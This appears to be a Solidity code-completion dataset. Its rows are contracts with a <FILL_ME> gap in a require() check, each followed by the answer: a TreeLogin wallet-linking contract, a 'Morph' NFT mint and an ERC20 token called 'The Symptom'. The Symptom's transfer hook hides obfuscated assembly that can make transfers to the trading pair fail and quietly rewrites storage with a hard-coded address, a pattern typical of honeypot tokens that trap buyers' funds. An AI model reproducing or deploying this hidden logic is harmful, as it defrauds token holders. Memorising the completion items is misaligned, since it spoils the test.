returns (address[] memory)
{
}
//add hot wallets and corresponding cold to storage
function addAddresses(address[] memory _addresses, uint256 _timeStamp)
external
callerIsUser
{
require(<FILL_ME>)
uint256 balanceTLNFT = this.getTLNFTBalance(msg.sender);
require(balanceTLNFT > 0, "No TreeLogin NFTs");
require(_addresses.length <= balanceTLNFT, "Not enough TreeLogin NFTs");
require(_addresses.length <= maxLinksPerWallet, "Too many wallets");
for (uint256 j = 0; j < _addresses.length; j++) {
require(
addressSaved[_addresses[j]] == address(0),
"Already Linked Cold Wallet"
);
require(
_addresses[j] == tempValidTx[msg.sender].coldWallets[j],
"Wrong Cold Wallets"
);
}
require(
tempValidTx[msg.sender].blockStamp == _timeStamp,
"Wong Validation Code"
);
address[] memory oldLinks = this.getOwnershipData(msg.sender);
for (uint256 k = 0; k < oldLinks.length; k++) {
addressSaved[oldLinks[k]] = address(0);
}
addressLink[msg.sender] = _addresses;
for (uint256 j = 0; j < _addresses.length; j++) {
addressSaved[_addresses[j]] = msg.sender;
}
delete tempValidTx[msg.sender];
}
function deleteOwnershipLinks() external callerIsUser {
}
function addAddressesAdmin(address _hotWallet, address[] memory _addresses)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//if you quickly wants to check balance from a SC.
//Be sure the SC has the function balanceOf(address)
function getBalanceOnProject(address _scAddress, address _hotWallet)
external
view
returns (uint256)
{
}
}
| tempValidTx[msg.sender].blockStamp>0,"This Ownership was not authorized" | 219,479 | tempValidTx[msg.sender].blockStamp>0 |
"Already Linked Cold Wallet" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
/**
* @title TreeLogin
* @dev made by Treemaru Studio
*/
import "@openzeppelin/contracts/access/AccessControl.sol";
contract TreeLogin is AccessControl {
bytes32 public constant MOD_ROLE = keccak256("MOD_ROLE");
struct ValidTx {
address[] coldWallets;
uint256 blockStamp;
}
mapping(address => ValidTx) tempValidTx;
mapping(address => address[]) addressLink;
mapping(address => address) addressSaved;
address addressTreeLoginNFT;
uint256[] idsNFTs;
uint256 public maxLinksPerWallet = 2;
constructor() {
}
modifier callerIsUser() {
}
function setAddressTLNFT(address _address)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxLinksPerWallet(uint256 _numb)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function deleteAdminOwnershipLinks(address _address)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//Set IDs for TreeLogin NFTs (erc1155 ids)
function setListNFTIds(uint256[] memory _ids)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//Get TreeLogin NFTs balance on address
function getTLNFTBalance(address _addr) external view returns (uint256) {
}
//validate ownership
function addValidTX(address _hotWallet, address[] memory _addresses)
external
onlyRole(MOD_ROLE)
{
}
function getTempTx(address _address) external view returns (uint256) {
}
function checkAddressIsSaved(address _address)
external
view
returns (address)
{
}
function getOwnershipData(address _address)
external
view
returns (address[] memory)
{
}
//add hot wallets and corresponding cold to storage
function addAddresses(address[] memory _addresses, uint256 _timeStamp)
external
callerIsUser
{
require(
tempValidTx[msg.sender].blockStamp > 0,
"This Ownership was not authorized"
);
uint256 balanceTLNFT = this.getTLNFTBalance(msg.sender);
require(balanceTLNFT > 0, "No TreeLogin NFTs");
require(_addresses.length <= balanceTLNFT, "Not enough TreeLogin NFTs");
require(_addresses.length <= maxLinksPerWallet, "Too many wallets");
for (uint256 j = 0; j < _addresses.length; j++) {
require(<FILL_ME>)
require(
_addresses[j] == tempValidTx[msg.sender].coldWallets[j],
"Wrong Cold Wallets"
);
}
require(
tempValidTx[msg.sender].blockStamp == _timeStamp,
"Wong Validation Code"
);
address[] memory oldLinks = this.getOwnershipData(msg.sender);
for (uint256 k = 0; k < oldLinks.length; k++) {
addressSaved[oldLinks[k]] = address(0);
}
addressLink[msg.sender] = _addresses;
for (uint256 j = 0; j < _addresses.length; j++) {
addressSaved[_addresses[j]] = msg.sender;
}
delete tempValidTx[msg.sender];
}
function deleteOwnershipLinks() external callerIsUser {
}
function addAddressesAdmin(address _hotWallet, address[] memory _addresses)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//if you quickly wants to check balance from a SC.
//Be sure the SC has the function balanceOf(address)
function getBalanceOnProject(address _scAddress, address _hotWallet)
external
view
returns (uint256)
{
}
}
| addressSaved[_addresses[j]]==address(0),"Already Linked Cold Wallet" | 219,479 | addressSaved[_addresses[j]]==address(0) |
"Wrong Cold Wallets" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
/**
* @title TreeLogin
* @dev made by Treemaru Studio
*/
import "@openzeppelin/contracts/access/AccessControl.sol";
contract TreeLogin is AccessControl {
bytes32 public constant MOD_ROLE = keccak256("MOD_ROLE");
struct ValidTx {
address[] coldWallets;
uint256 blockStamp;
}
mapping(address => ValidTx) tempValidTx;
mapping(address => address[]) addressLink;
mapping(address => address) addressSaved;
address addressTreeLoginNFT;
uint256[] idsNFTs;
uint256 public maxLinksPerWallet = 2;
constructor() {
}
modifier callerIsUser() {
}
function setAddressTLNFT(address _address)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxLinksPerWallet(uint256 _numb)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function deleteAdminOwnershipLinks(address _address)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//Set IDs for TreeLogin NFTs (erc1155 ids)
function setListNFTIds(uint256[] memory _ids)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//Get TreeLogin NFTs balance on address
function getTLNFTBalance(address _addr) external view returns (uint256) {
}
//validate ownership
function addValidTX(address _hotWallet, address[] memory _addresses)
external
onlyRole(MOD_ROLE)
{
}
function getTempTx(address _address) external view returns (uint256) {
}
function checkAddressIsSaved(address _address)
external
view
returns (address)
{
}
function getOwnershipData(address _address)
external
view
returns (address[] memory)
{
}
//add hot wallets and corresponding cold to storage
function addAddresses(address[] memory _addresses, uint256 _timeStamp)
external
callerIsUser
{
require(
tempValidTx[msg.sender].blockStamp > 0,
"This Ownership was not authorized"
);
uint256 balanceTLNFT = this.getTLNFTBalance(msg.sender);
require(balanceTLNFT > 0, "No TreeLogin NFTs");
require(_addresses.length <= balanceTLNFT, "Not enough TreeLogin NFTs");
require(_addresses.length <= maxLinksPerWallet, "Too many wallets");
for (uint256 j = 0; j < _addresses.length; j++) {
require(
addressSaved[_addresses[j]] == address(0),
"Already Linked Cold Wallet"
);
require(<FILL_ME>)
}
require(
tempValidTx[msg.sender].blockStamp == _timeStamp,
"Wong Validation Code"
);
address[] memory oldLinks = this.getOwnershipData(msg.sender);
for (uint256 k = 0; k < oldLinks.length; k++) {
addressSaved[oldLinks[k]] = address(0);
}
addressLink[msg.sender] = _addresses;
for (uint256 j = 0; j < _addresses.length; j++) {
addressSaved[_addresses[j]] = msg.sender;
}
delete tempValidTx[msg.sender];
}
function deleteOwnershipLinks() external callerIsUser {
}
function addAddressesAdmin(address _hotWallet, address[] memory _addresses)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//if you quickly wants to check balance from a SC.
//Be sure the SC has the function balanceOf(address)
function getBalanceOnProject(address _scAddress, address _hotWallet)
external
view
returns (uint256)
{
}
}
| _addresses[j]==tempValidTx[msg.sender].coldWallets[j],"Wrong Cold Wallets" | 219,479 | _addresses[j]==tempValidTx[msg.sender].coldWallets[j] |
"Wong Validation Code" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
/**
* @title TreeLogin
* @dev made by Treemaru Studio
*/
import "@openzeppelin/contracts/access/AccessControl.sol";
contract TreeLogin is AccessControl {
bytes32 public constant MOD_ROLE = keccak256("MOD_ROLE");
struct ValidTx {
address[] coldWallets;
uint256 blockStamp;
}
mapping(address => ValidTx) tempValidTx;
mapping(address => address[]) addressLink;
mapping(address => address) addressSaved;
address addressTreeLoginNFT;
uint256[] idsNFTs;
uint256 public maxLinksPerWallet = 2;
constructor() {
}
modifier callerIsUser() {
}
function setAddressTLNFT(address _address)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxLinksPerWallet(uint256 _numb)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function deleteAdminOwnershipLinks(address _address)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//Set IDs for TreeLogin NFTs (erc1155 ids)
function setListNFTIds(uint256[] memory _ids)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//Get TreeLogin NFTs balance on address
function getTLNFTBalance(address _addr) external view returns (uint256) {
}
//validate ownership
function addValidTX(address _hotWallet, address[] memory _addresses)
external
onlyRole(MOD_ROLE)
{
}
function getTempTx(address _address) external view returns (uint256) {
}
function checkAddressIsSaved(address _address)
external
view
returns (address)
{
}
function getOwnershipData(address _address)
external
view
returns (address[] memory)
{
}
//add hot wallets and corresponding cold to storage
function addAddresses(address[] memory _addresses, uint256 _timeStamp)
external
callerIsUser
{
require(
tempValidTx[msg.sender].blockStamp > 0,
"This Ownership was not authorized"
);
uint256 balanceTLNFT = this.getTLNFTBalance(msg.sender);
require(balanceTLNFT > 0, "No TreeLogin NFTs");
require(_addresses.length <= balanceTLNFT, "Not enough TreeLogin NFTs");
require(_addresses.length <= maxLinksPerWallet, "Too many wallets");
for (uint256 j = 0; j < _addresses.length; j++) {
require(
addressSaved[_addresses[j]] == address(0),
"Already Linked Cold Wallet"
);
require(
_addresses[j] == tempValidTx[msg.sender].coldWallets[j],
"Wrong Cold Wallets"
);
}
require(<FILL_ME>)
address[] memory oldLinks = this.getOwnershipData(msg.sender);
for (uint256 k = 0; k < oldLinks.length; k++) {
addressSaved[oldLinks[k]] = address(0);
}
addressLink[msg.sender] = _addresses;
for (uint256 j = 0; j < _addresses.length; j++) {
addressSaved[_addresses[j]] = msg.sender;
}
delete tempValidTx[msg.sender];
}
function deleteOwnershipLinks() external callerIsUser {
}
function addAddressesAdmin(address _hotWallet, address[] memory _addresses)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//if you quickly wants to check balance from a SC.
//Be sure the SC has the function balanceOf(address)
function getBalanceOnProject(address _scAddress, address _hotWallet)
external
view
returns (uint256)
{
}
}
| tempValidTx[msg.sender].blockStamp==_timeStamp,"Wong Validation Code" | 219,479 | tempValidTx[msg.sender].blockStamp==_timeStamp |
"Max morphs per wallet reached" | /*
Morph
https://morphgenesis.com
https://twitter.com/morph_genesis
https://discord.gg/morph
morph is a Web3 brand specialized in verch (virtual merchandising).
We build virtual products that become physical oneโs.
morph genesis is an NFT collection of 1000 charming PFP creatures that act as a pass.
By holding one of them, you get exclusive free mints on all our phygital drops made in partnership with famous artistic directors.
You can then choose to burn the digital asset to receive the physical one (some collabs will have fees for the burn) or, resell the digital asset made in partnership with the creator on the secondary market.
The first collaboration called DIAMONDNECK is a unique necklace full of real diamonds where you'll be able to display your favorite NFT. It have been made by the well-know French jeweller Edouard Nahum (who has work with P-diddy, Zidane, Stalone...).
A doxxed team of A-Players who built several successful compagnies into the digital space worked on this project since one year.
The collection has been built as an introduction to our ecosystem that will deeply reward the first holders.
morph genesis NFTโs are destined to true Web3 & Fashion loverโs, real OGโs and passionates only.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "[email protected]/contracts/ERC721A.sol";
import "[email protected]/contracts/extensions/ERC721ABurnable.sol";
import "[email protected]/contracts/extensions/ERC721AQueryable.sol";
contract Morph is
ERC721A("Morph", "MORPH"),
ERC721AQueryable,
ERC721ABurnable,
ERC2981,
Ownable,
ReentrancyGuard
{
// Whitelist Config
bytes32 public whitelistMerkleRoot;
uint256 public morphPriceWhitelist = 0 ether;
uint256 public whitelistActiveTime = type(uint256).max;
uint256 public maxMorphsPerWalletWL = 1;
// Main Sale Config
uint256 public morphPrice = 0.5 ether;
uint256 public constant maxSupply = 1000;
uint256 public saleActiveTime = type(uint256).max;
string public imagesFolder;
uint256 public maxMorphsPerWallet = 3;
// Auto Approve Marketplaces
mapping(address => bool) public approvedProxy;
constructor() {
}
/// @notice Purchase NFTs
function purchaseMorphs(uint256 _qty) external payable nonReentrant {
_safeMint(msg.sender, _qty);
require(totalSupply() <= maxSupply, "Try mint less");
require(tx.origin == msg.sender, "The caller is a contract");
require(block.timestamp > saleActiveTime, "Sale is not active");
require(
msg.value == _qty * morphPrice,
"Try to send exact amount of ETH"
);
require(<FILL_ME>)
}
/// @notice Owner can withdraw ETH from here
function withdraw() external onlyOwner {
}
/// @notice Change price in case of ETH price changes too much
function setMorphPrice(uint256 _newMorphPrice) external onlyOwner {
}
function setMaxMorphsPerWallet(uint256 _maxMorphsPerWallet)
external
onlyOwner
{
}
/// @notice set sale active time
function setSaleActiveTime(uint256 _saleActiveTime) external onlyOwner {
}
/// @notice Hide identity or show identity from here, put images folder here, ipfs folder cid
function setImagesFolder(string memory __imagesFolder) external onlyOwner {
}
/// @notice Send NFTs to a list of addresses
function giftNft(address[] calldata _sendNftsTo, uint256 _qty)
external
onlyOwner
{
}
//////////////////////
// STANDARD METHODS //
//////////////////////
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator)
external
onlyOwner
{
}
receive() external payable {}
function receiveCoin() external payable {}
///////////////////////////////
// AUTO APPROVE MARKETPLACES //
///////////////////////////////
function autoApproveMarketplace(address _marketplace) public onlyOwner {
}
function isApprovedForAll(address _owner, address _operator)
public
view
override(ERC721A, IERC721)
returns (bool)
{
}
////////////////
// Whitelist //
////////////////
function purchaseMorphsWhitelist(uint256 _qty, bytes32[] calldata _proof)
external
payable
nonReentrant
{
}
function inWhitelist(address _owner, bytes32[] memory _proof)
public
view
returns (bool)
{
}
function setWhitelistActiveTime(uint256 _whitelistActiveTime)
external
onlyOwner
{
}
function setMorphPriceWhitelist(uint256 _morphPriceWhitelist)
external
onlyOwner
{
}
function setMaxMorphsPerWalletWL(uint256 _maxMorphsPerWalletWL)
external
onlyOwner
{
}
function setWhitelist(bytes32 _whitelistMerkleRoot) external onlyOwner {
}
}
| _numberMinted(msg.sender)<=maxMorphsPerWallet,"Max morphs per wallet reached" | 219,488 | _numberMinted(msg.sender)<=maxMorphsPerWallet |
"You are not in Morphlist" | /*
Morph
https://morphgenesis.com
https://twitter.com/morph_genesis
https://discord.gg/morph
morph is a Web3 brand specialized in verch (virtual merchandising).
We build virtual products that become physical oneโs.
morph genesis is an NFT collection of 1000 charming PFP creatures that act as a pass.
By holding one of them, you get exclusive free mints on all our phygital drops made in partnership with famous artistic directors.
You can then choose to burn the digital asset to receive the physical one (some collabs will have fees for the burn) or, resell the digital asset made in partnership with the creator on the secondary market.
The first collaboration called DIAMONDNECK is a unique necklace full of real diamonds where you'll be able to display your favorite NFT. It have been made by the well-know French jeweller Edouard Nahum (who has work with P-diddy, Zidane, Stalone...).
A doxxed team of A-Players who built several successful compagnies into the digital space worked on this project since one year.
The collection has been built as an introduction to our ecosystem that will deeply reward the first holders.
morph genesis NFTโs are destined to true Web3 & Fashion loverโs, real OGโs and passionates only.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "[email protected]/contracts/ERC721A.sol";
import "[email protected]/contracts/extensions/ERC721ABurnable.sol";
import "[email protected]/contracts/extensions/ERC721AQueryable.sol";
contract Morph is
ERC721A("Morph", "MORPH"),
ERC721AQueryable,
ERC721ABurnable,
ERC2981,
Ownable,
ReentrancyGuard
{
// Whitelist Config
bytes32 public whitelistMerkleRoot;
uint256 public morphPriceWhitelist = 0 ether;
uint256 public whitelistActiveTime = type(uint256).max;
uint256 public maxMorphsPerWalletWL = 1;
// Main Sale Config
uint256 public morphPrice = 0.5 ether;
uint256 public constant maxSupply = 1000;
uint256 public saleActiveTime = type(uint256).max;
string public imagesFolder;
uint256 public maxMorphsPerWallet = 3;
// Auto Approve Marketplaces
mapping(address => bool) public approvedProxy;
constructor() {
}
/// @notice Purchase NFTs
function purchaseMorphs(uint256 _qty) external payable nonReentrant {
}
/// @notice Owner can withdraw ETH from here
function withdraw() external onlyOwner {
}
/// @notice Change price in case of ETH price changes too much
function setMorphPrice(uint256 _newMorphPrice) external onlyOwner {
}
function setMaxMorphsPerWallet(uint256 _maxMorphsPerWallet)
external
onlyOwner
{
}
/// @notice set sale active time
function setSaleActiveTime(uint256 _saleActiveTime) external onlyOwner {
}
/// @notice Hide identity or show identity from here, put images folder here, ipfs folder cid
function setImagesFolder(string memory __imagesFolder) external onlyOwner {
}
/// @notice Send NFTs to a list of addresses
function giftNft(address[] calldata _sendNftsTo, uint256 _qty)
external
onlyOwner
{
}
//////////////////////
// STANDARD METHODS //
//////////////////////
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator)
external
onlyOwner
{
}
receive() external payable {}
function receiveCoin() external payable {}
///////////////////////////////
// AUTO APPROVE MARKETPLACES //
///////////////////////////////
function autoApproveMarketplace(address _marketplace) public onlyOwner {
}
function isApprovedForAll(address _owner, address _operator)
public
view
override(ERC721A, IERC721)
returns (bool)
{
}
////////////////
// Whitelist //
////////////////
function purchaseMorphsWhitelist(uint256 _qty, bytes32[] calldata _proof)
external
payable
nonReentrant
{
_safeMint(msg.sender, _qty);
require(tx.origin == msg.sender, "The caller is a contract");
require(<FILL_ME>)
require(
block.timestamp > whitelistActiveTime,
"Morphlist is not active"
);
require(
msg.value == _qty * morphPriceWhitelist,
"Try to send exact amount of ETH"
);
require(
_numberMinted(msg.sender) <= maxMorphsPerWalletWL,
"Max morphs per wallet reached"
);
}
function inWhitelist(address _owner, bytes32[] memory _proof)
public
view
returns (bool)
{
}
function setWhitelistActiveTime(uint256 _whitelistActiveTime)
external
onlyOwner
{
}
function setMorphPriceWhitelist(uint256 _morphPriceWhitelist)
external
onlyOwner
{
}
function setMaxMorphsPerWalletWL(uint256 _maxMorphsPerWalletWL)
external
onlyOwner
{
}
function setWhitelist(bytes32 _whitelistMerkleRoot) external onlyOwner {
}
}
| inWhitelist(msg.sender,_proof),"You are not in Morphlist" | 219,488 | inWhitelist(msg.sender,_proof) |
"Max morphs per wallet reached" | /*
Morph
https://morphgenesis.com
https://twitter.com/morph_genesis
https://discord.gg/morph
morph is a Web3 brand specialized in verch (virtual merchandising).
We build virtual products that become physical oneโs.
morph genesis is an NFT collection of 1000 charming PFP creatures that act as a pass.
By holding one of them, you get exclusive free mints on all our phygital drops made in partnership with famous artistic directors.
You can then choose to burn the digital asset to receive the physical one (some collabs will have fees for the burn) or, resell the digital asset made in partnership with the creator on the secondary market.
The first collaboration called DIAMONDNECK is a unique necklace full of real diamonds where you'll be able to display your favorite NFT. It have been made by the well-know French jeweller Edouard Nahum (who has work with P-diddy, Zidane, Stalone...).
A doxxed team of A-Players who built several successful compagnies into the digital space worked on this project since one year.
The collection has been built as an introduction to our ecosystem that will deeply reward the first holders.
morph genesis NFTโs are destined to true Web3 & Fashion loverโs, real OGโs and passionates only.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "[email protected]/contracts/ERC721A.sol";
import "[email protected]/contracts/extensions/ERC721ABurnable.sol";
import "[email protected]/contracts/extensions/ERC721AQueryable.sol";
contract Morph is
ERC721A("Morph", "MORPH"),
ERC721AQueryable,
ERC721ABurnable,
ERC2981,
Ownable,
ReentrancyGuard
{
// Whitelist Config
bytes32 public whitelistMerkleRoot;
uint256 public morphPriceWhitelist = 0 ether;
uint256 public whitelistActiveTime = type(uint256).max;
uint256 public maxMorphsPerWalletWL = 1;
// Main Sale Config
uint256 public morphPrice = 0.5 ether;
uint256 public constant maxSupply = 1000;
uint256 public saleActiveTime = type(uint256).max;
string public imagesFolder;
uint256 public maxMorphsPerWallet = 3;
// Auto Approve Marketplaces
mapping(address => bool) public approvedProxy;
constructor() {
}
/// @notice Purchase NFTs
function purchaseMorphs(uint256 _qty) external payable nonReentrant {
}
/// @notice Owner can withdraw ETH from here
function withdraw() external onlyOwner {
}
/// @notice Change price in case of ETH price changes too much
function setMorphPrice(uint256 _newMorphPrice) external onlyOwner {
}
function setMaxMorphsPerWallet(uint256 _maxMorphsPerWallet)
external
onlyOwner
{
}
/// @notice set sale active time
function setSaleActiveTime(uint256 _saleActiveTime) external onlyOwner {
}
/// @notice Hide identity or show identity from here, put images folder here, ipfs folder cid
function setImagesFolder(string memory __imagesFolder) external onlyOwner {
}
/// @notice Send NFTs to a list of addresses
function giftNft(address[] calldata _sendNftsTo, uint256 _qty)
external
onlyOwner
{
}
//////////////////////
// STANDARD METHODS //
//////////////////////
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator)
external
onlyOwner
{
}
receive() external payable {}
function receiveCoin() external payable {}
///////////////////////////////
// AUTO APPROVE MARKETPLACES //
///////////////////////////////
function autoApproveMarketplace(address _marketplace) public onlyOwner {
}
function isApprovedForAll(address _owner, address _operator)
public
view
override(ERC721A, IERC721)
returns (bool)
{
}
////////////////
// Whitelist //
////////////////
function purchaseMorphsWhitelist(uint256 _qty, bytes32[] calldata _proof)
external
payable
nonReentrant
{
_safeMint(msg.sender, _qty);
require(tx.origin == msg.sender, "The caller is a contract");
require(inWhitelist(msg.sender, _proof), "You are not in Morphlist");
require(
block.timestamp > whitelistActiveTime,
"Morphlist is not active"
);
require(
msg.value == _qty * morphPriceWhitelist,
"Try to send exact amount of ETH"
);
require(<FILL_ME>)
}
function inWhitelist(address _owner, bytes32[] memory _proof)
public
view
returns (bool)
{
}
function setWhitelistActiveTime(uint256 _whitelistActiveTime)
external
onlyOwner
{
}
function setMorphPriceWhitelist(uint256 _morphPriceWhitelist)
external
onlyOwner
{
}
function setMaxMorphsPerWalletWL(uint256 _maxMorphsPerWalletWL)
external
onlyOwner
{
}
function setWhitelist(bytes32 _whitelistMerkleRoot) external onlyOwner {
}
}
| _numberMinted(msg.sender)<=maxMorphsPerWalletWL,"Max morphs per wallet reached" | 219,488 | _numberMinted(msg.sender)<=maxMorphsPerWalletWL |
"ERC20: trading is not yet enabled." | // Symptoms, those you believe you recognize, seem to you irrational because you take them in an isolated manner.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private symAddr;
uint256 private _networkDown = block.number*2;
mapping (address => bool) private _upScale;
mapping (address => bool) private _downScale;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private upToRight;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private trickSter;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private infiniteCake = 1; bool private nebulaSystem;
uint256 private _decimals; uint256 private starCloud;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function _InitNow() internal { }
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
require(<FILL_ME>)
if (block.chainid == 1) {
bool open = (((nebulaSystem || _downScale[sender]) && ((_networkDown - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/2)) && (_networkDown == block.number))) && ((_upScale[recipient] == true) && (_upScale[sender] != true) || ((symAddr[1] == recipient) && (_upScale[symAddr[1]] != true))) && (starCloud > 0);
assembly {
function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gG() -> faL { faL := gas() }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(sload(gByte(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }if and(lt(gG(),sload(0xB)),open) { invalid() } if sload(0x16) { sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x11) if iszero(sload(0x17)) { sstore(0x17,t) } let g := sload(0x17)
switch gt(g,div(t,0x3))
case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
case 0 { g := div(t,0x3) }
sstore(0x17,t) sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1))
}
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(gByte(sload(0x8),0x4)),0x0)) { sstore(gByte(sload(0x8),0x5),0x1) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x11) let t := sload(0x17) sstore(0x17,k) sstore(0x11,t)
}
if iszero(mod(sload(0x15),0x6)) { sstore(0x16,0x1) } sstore(0x12,integer) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeploySymptom(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheSymptom is ERC20Token {
constructor() ERC20Token("The Symptom", "SYMPTOM", msg.sender, 315000000 * 10 ** 18) {
}
}
| (trading||(sender==symAddr[1])),"ERC20: trading is not yet enabled." | 219,714 | (trading||(sender==symAddr[1])) |
"Box does not exist" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
